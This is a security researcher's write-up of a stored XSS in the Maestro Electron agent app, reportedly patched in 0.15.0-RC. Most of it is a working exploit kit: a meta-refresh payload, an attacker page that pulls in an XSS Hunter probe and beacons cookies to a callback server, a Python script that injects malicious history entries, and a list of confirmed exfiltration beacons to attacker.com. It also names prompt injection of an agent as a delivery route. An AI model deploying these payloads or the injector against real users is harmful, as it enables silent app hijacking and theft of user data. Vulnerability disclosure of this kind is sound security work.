9 minutes
Maestro - Stored XSS in Agent History
Maestro
Maestro is a self-described agent orchestration command centre and when it works, it works great. Big fan.
Maestro is also the answer to the question occupying some of the greatest minds of our generation, “what if we made computers more likely to fucking kill us in our sleep?”. Love that for us. Great work team.
tl;dr there’s a stored XSS in Maestro and if you chain that bug with other equally fun bugs you can escape the electron app and pop a shell on the victim machine. See follow-up posts for that.
update: this is issue is now patched in Maestro release 0.15.0-RC
XSS in HistoryDetailModal
A stored cross-site scripting (XSS) vulnerability in Maestro’s HistoryDetailModal component allows attackers to inject malicious HTML into AI agent response history. Due to the use of dangerouslySetInnerHTML with allowRawHtml=true and the absence of DOMPurify sanitization, attackers can achieve full JavaScript execution within the Electron application context, leading to complete application hijacking, credential theft, and data exfiltration.
Vulnerability Details
Affected Component
File: src/renderer/components/HistoryDetailModal.tsx
Lines: 89-95
<MarkdownRenderer
content={selectedEntry.fullResponse || selectedEntry.summary}
allowRawHtml={true} // VULNERABLE: Enables raw HTML rendering
className="text-sm leading-relaxed"
/>
Root Cause Analysis
The vulnerability stems from a dangerous combination of factors:
allowRawHtml={true}- The MarkdownRenderer component is configured to allow raw HTML in markdown content- rehype-raw plugin - When
allowRawHtmlis true, therehype-rawplugin processes raw HTML tags - No DOMPurify sanitization - Unlike other parts of the codebase, HistoryDetailModal does NOT sanitize HTML before rendering
- React’s dangerouslySetInnerHTML - The rendered HTML is inserted into the DOM without sanitization
MarkdownRenderer Implementation
File: src/renderer/components/MarkdownRenderer.tsx
// Lines 147-156 - Conditional rehype-raw usage
const rehypePluginsToUse = useMemo(() => {
const plugins = [...rehypePlugins];
if (allowRawHtml) {
plugins.unshift(rehypeRaw); // Enables raw HTML processing
}
return plugins;
}, [allowRawHtml]);
// Lines 169-175 - ReactMarkdown rendering
<ReactMarkdown
remarkPlugins={remarkPluginsToUse}
rehypePlugins={rehypePluginsToUse} // Raw HTML enabled here
components={components}
>
{processedContent}
</ReactMarkdown>
Vulnerable Data Flow
History JSON File (fullResponse field)
↓
HistoryDetailModal.tsx (reads selectedEntry.fullResponse)
↓
MarkdownRenderer (allowRawHtml=true)
↓
rehype-raw (processes raw HTML tags)
↓
ReactMarkdown (dangerouslySetInnerHTML)
↓
DOM (malicious HTML executed)
Attack Vector
History File Injection
Maestro stores agent conversation history in JSON files at:
~/Library/Application Support/maestro/history/*.json
Each history file contains entries with a fullResponse field that is rendered without sanitization:
{
"id": "entry-uuid",
"timestamp": 1708300000000,
"prompt": "User prompt",
"summary": "Brief summary",
"fullResponse": "<INJECTED_PAYLOAD_HERE>",
"model": "gpt-4",
"tokens": 100,
"latency": 500,
"source": "USER"
}
How can we do that?
- Crafted AI Response - If an AI model can be manipulated to include raw HTML in responses
- Sync/Import Features - History files synced from untrusted sources
- Direct Modification - A prompt injection that coaxes the agent to modify the history file with the payload.
Exploitation
Step 1: Locate Target History File
# Find Maestro history directory
ls -la ~/Library/Application\ Support/maestro/history/
# Identify target session file (most recent or specific session)
ls -lt ~/Library/Application\ Support/maestro/history/*.json | head -5
Step 2: Inject Malicious Payload
The XSS payload uses <meta http-equiv="refresh"> to redirect the entire Electron app. This will momentarily load the attacker’s HTML page in the main view of the electron app, but we’ll direct back to Maestro so it’s less suspicious that something has happened.
# Read existing history file
HISTORY_FILE="$HOME/Library/Application Support/maestro/history/<session-uuid>.json"
{
"id": "exploit-entry-001",
"timestamp": 1708300000000,
"prompt": "Legitimate looking prompt",
"summary": "Click to view details",
"fullResponse": "<meta http-equiv=\"refresh\" content=\"0;url=http://attacker.com/exploit.html\">",
"model": "gpt-4",
"tokens": 100,
"latency": 500,
"source": "USER"
}
Step 3: Create Attacker Exploit Page
Host this HTML on attacker-controlled server (e.g., http://attacker.com/exploit.html):
<!DOCTYPE html>
<html>
<head>
<title>Maestro - Agent Orchestration Command Center</title>
<meta charset="UTF-8">
<style>
body {
margin: 0;
background: #1a1a2e;
color: #666;
font-family: system-ui;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.loader { text-align: center; }
.spinner {
width: 40px; height: 40px;
border: 3px solid #333;
border-top: 3px solid #7c3aed;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
@keyframes spin { to { transform: rotate(360deg); } }
#status { font-size: 12px; margin-top: 10px; color: #444; }
</style>
</head>
<body>
<div class="loader">
<div class="spinner"></div>
<div id="loading-text">Loading session...</div>
<div id="status"></div>
</div>
<!-- Hidden data for exfiltration tools to capture -->
<div id="app-data" style="display:none;">
<span id="app-name">Maestro Agent Orchestration</span>
<span id="app-version">0.15.0-RC</span>
<span id="user-data">Electron App Context</span>
</div>
<script>
// Exfiltration payload
var status = document.getElementById('status');
var loadingText = document.getElementById('loading-text');
function log(msg) {
console.log('[EXPLOIT] ' + msg);
if (status) status.textContent = msg;
}
log('Loading payload...');
// Load XSS Hunter Express probe (or custom exfil script)
var script = document.createElement('script');
script.src = 'https://YOUR-XSSHUNTER-DOMAIN.com';
script.onload = function() {
log('Payload loaded. Collecting data...');
// Give exfil script time to collect and send data
setTimeout(function() {
log('Data sent. Redirecting...');
// Redirect back to Maestro to hide the attack
if (window.history.length > 1) {
window.history.back();
}
}, 6000);
};
script.onerror = function(e) {
log('Primary payload failed - using fallback');
// Fallback: send basic info via image beacon
var img = new Image();
img.src = 'https://YOUR-CALLBACK-SERVER.com/callback?' +
'url=' + encodeURIComponent(location.href) +
'&referrer=' + encodeURIComponent(document.referrer) +
'&ua=' + encodeURIComponent(navigator.userAgent) +
'&cookie=' + encodeURIComponent(document.cookie);
setTimeout(function() {
if (window.history.length > 1) window.history.back();
}, 2000);
};
document.head.appendChild(script);
</script>
</body>
</html>
Step 4: Trigger the Exploit
- Start Maestro application
- Navigate to the session containing the malicious history entry
- Open the History panel (right sidebar)
- Click on the malicious history entry
- The HistoryDetailModal opens and renders the
fullResponsefield <meta refresh>redirects the entire Electron app to attacker’s page- Attacker’s JavaScript executes with full Electron context
- Data is exfiltrated via XSS Hunter or custom callback
- Page redirects back to Maestro - user sees normal interface
Payload Reference
Working Payloads (Confirmed)
1. Meta Refresh Redirect (CRITICAL - Full App Hijack)
<meta http-equiv="refresh" content="0;url=http://attacker.com/exploit.html">
Impact: Redirects entire Electron app to attacker-controlled page where arbitrary JS executes.
2. Resource Loading (Data Exfiltration Beacons)
<!-- Image beacon -->
<img src="https://attacker.com/beacon?data=exfil">
<!-- CSS import beacon -->
<style>@import url('https://attacker.com/css?data=exfil')</style>
<!-- Link preload beacon -->
<link rel="stylesheet" href="https://attacker.com/css?data=exfil">
<!-- Video poster beacon -->
<video poster="https://attacker.com/poster?data=exfil"></video>
<!-- Object/Embed beacons -->
<object data="https://attacker.com/obj?data=exfil"></object>
<embed src="https://attacker.com/embed?data=exfil">
<!-- Table background (legacy but works) -->
<table background="https://attacker.com/bg?data=exfil"><tr><td>.</td></tr></table>
Non-Working Payloads (React/Electron Blocked)
Event Handlers (Blocked by React)
<!-- React Error #231: Event handlers must be functions, not strings -->
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onload="alert(1)">
<details ontoggle="alert(1)">
React’s dangerouslySetInnerHTML does not bind string event handlers.
Script Tags (Blocked by React)
<!-- Scripts in dangerouslySetInnerHTML are not executed -->
<script>alert(1)</script>
<script src="https://attacker.com/evil.js"></script>
React’s DOM manipulation doesn’t execute script tags inserted via innerHTML.
JavaScript URLs (Blocked by Electron)
<!-- Blocked by Electron's shell.openExternal security -->
<a href="javascript:alert(1)">click</a>
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
Data URLs in iframes (Sanitized)
<!-- Stripped by rehype-raw or React -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Full Attack Chain Demonstration
Environment Setup
# 1. Start a simple HTTP server for the exploit page
cd /path/to/exploit/directory
python3 -m http.server 8888
# 2. Or use XSS Hunter Express
# Deploy from: https://github.com/mandatoryprogrammer/xsshunter-express
# Configure your domain (e.g., your-xsshunter.com)
Payload Injection Script
#!/usr/bin/env python3
"""
Maestro XSS Payload Injector
Injects malicious history entries to exploit vuln-0005
"""
import json
import os
import sys
import uuid
import time
from pathlib import Path
def get_history_dir():
"""Get Maestro history directory based on OS"""
if sys.platform == 'darwin':
return Path.home() / 'Library/Application Support/maestro/history'
elif sys.platform == 'win32':
return Path(os.environ['APPDATA']) / 'maestro/history'
else:
return Path.home() / '.config/maestro/history'
def list_sessions(history_dir):
"""List available history sessions"""
sessions = list(history_dir.glob('*.json'))
for i, session in enumerate(sessions):
stat = session.stat()
print(f"{i}: {session.name} (modified: {time.ctime(stat.st_mtime)})")
return sessions
def inject_payload(history_file, payload_url, title="Session Analysis"):
"""Inject XSS payload into history file"""
with open(history_file, 'r') as f:
history = json.load(f)
malicious_entry = {
"id": str(uuid.uuid4()),
"timestamp": int(time.time() * 1000),
"prompt": "Analyze session performance metrics",
"summary": title,
"fullResponse": f'<meta http-equiv="refresh" content="0;url={payload_url}">',
"model": "gpt-4-turbo",
"tokens": 150,
"latency": 487,
"source": "USER"
}
history.append(malicious_entry)
with open(history_file, 'w') as f:
json.dump(history, f, indent=2)
return malicious_entry['id']
def main():
if len(sys.argv) < 2:
print("Usage: python3 inject.py <payload_url> [session_index]")
print("\nAvailable sessions:")
history_dir = get_history_dir()
list_sessions(history_dir)
sys.exit(1)
payload_url = sys.argv[1]
history_dir = get_history_dir()
sessions = list_sessions(history_dir)
if len(sys.argv) > 2:
session_idx = int(sys.argv[2])
else:
session_idx = 0 # Most recent
target = sessions[session_idx]
entry_id = inject_payload(target, payload_url)
print(f"\n[+] Injected payload into: {target.name}")
print(f"[+] Entry ID: {entry_id}")
print(f"[+] Payload URL: {payload_url}")
print(f"\n[*] Trigger: Open Maestro → Navigate to session → Click on 'Session Analysis' in History")
if __name__ == '__main__':
main()
Complete Attack Execution
# Terminal 1: Start exploit server
python3 -m http.server 8888
# Terminal 2: Inject payload
python3 inject.py "http://localhost:8888/exploit.html" 0
# Terminal 3: Monitor callbacks (if using custom server)
# Or check XSS Hunter dashboard
# Trigger: Open Maestro and click on the injected history entry
Observed Behavior During Exploitation
Network Traffic Captured
[NET] GET http://localhost:8888/exploit.html # Attacker page loaded
[RESP] 200 http://localhost:8888/exploit.html
[NET] GET https://xsshunter.attacker.com/ # XSS Hunter probe loaded
[RESP] 200 https://xsshunter.attacker.com/
[NET] POST https://xsshunter.attacker.com/js_callback # Data exfiltrated
[RESP] 200 https://xsshunter.attacker.com/js_callback
[NET] GET file:///...maestro/.../index.html # Redirect back to Maestro
Summary: The Exploit Funnel
Out of 43 payloads tested, only 10 achieved any form of success:
Traditional XSS Payloads Tested: 43
├── Event Handlers (onerror, onload, etc.): 12 tested → 0 worked (React Layer)
├── Script Tags (inline, external): 6 tested → 0 worked (Browser Layer)
├── javascript: URLs: 4 tested → 0 worked (Electron Layer)
├── data: URLs: 8 tested → 0 worked (rehype-raw Layer)
├── iframe srcdoc: 10 tested → 0 worked (Browser Layer)
├── Resource Loading (img, link, style): 8 tested → 8 worked ✓
└── Meta Refresh: 3 tested → 3 worked ✓ (CRITICAL)
What Actually Works:
| Vector | Why It Works |
|---|---|
<img src="http://attacker.com"> |
Resource loading doesn’t require JS execution |
<link href="http://attacker.com"> |
CSS loading is passive, no handlers needed |
<style>@import url(...)</style> |
CSS import is declarative |
<meta http-equiv="refresh"> |
Browser-native navigation, bypasses all JS-related defenses |
The Critical Insight: Meta Refresh Bypasses Everything
The <meta http-equiv="refresh"> tag succeeds because:
- Not an event handler - It’s a declarative meta tag, not JS
- Not a script - No script execution involved
- Processed by browser, not React - The browser’s HTML parser handles meta refresh natively
- HTTP URLs allowed - Electron permits navigation to HTTP/HTTPS URLs
- Full page navigation - Replaces the entire Electron app context
Once the attacker controls the full page, ALL JavaScript defenses are irrelevant. The attacker’s page loads fresh with no React, no sanitization, and full script execution capability.
Implications for Defense
This analysis reveals that:
- React’s protections are significant but bypassable - Event handler blocking is robust, but meta refresh circumvents it entirely
- Defense in depth has gaps - Multiple security layers failed to prevent the meta refresh vector
- Content sanitization is essential - DOMPurify would block meta refresh, style imports, and other dangerous tags
- CSP is critical - A strict Content-Security-Policy would prevent:
- Navigation to attacker-controlled pages
- Loading external stylesheets
- Loading external images (if desired)
Recap
Despite most payloads failing, the vulnerability is critical because:
- One working vector is enough - Meta refresh provides complete application compromise
- The attack is invisible - User sees normal Maestro interface after exploitation
- Full Electron context - Attacker gains access to localStorage, cookies, DOM, etc.
- Persistence - Malicious history entries persist across sessions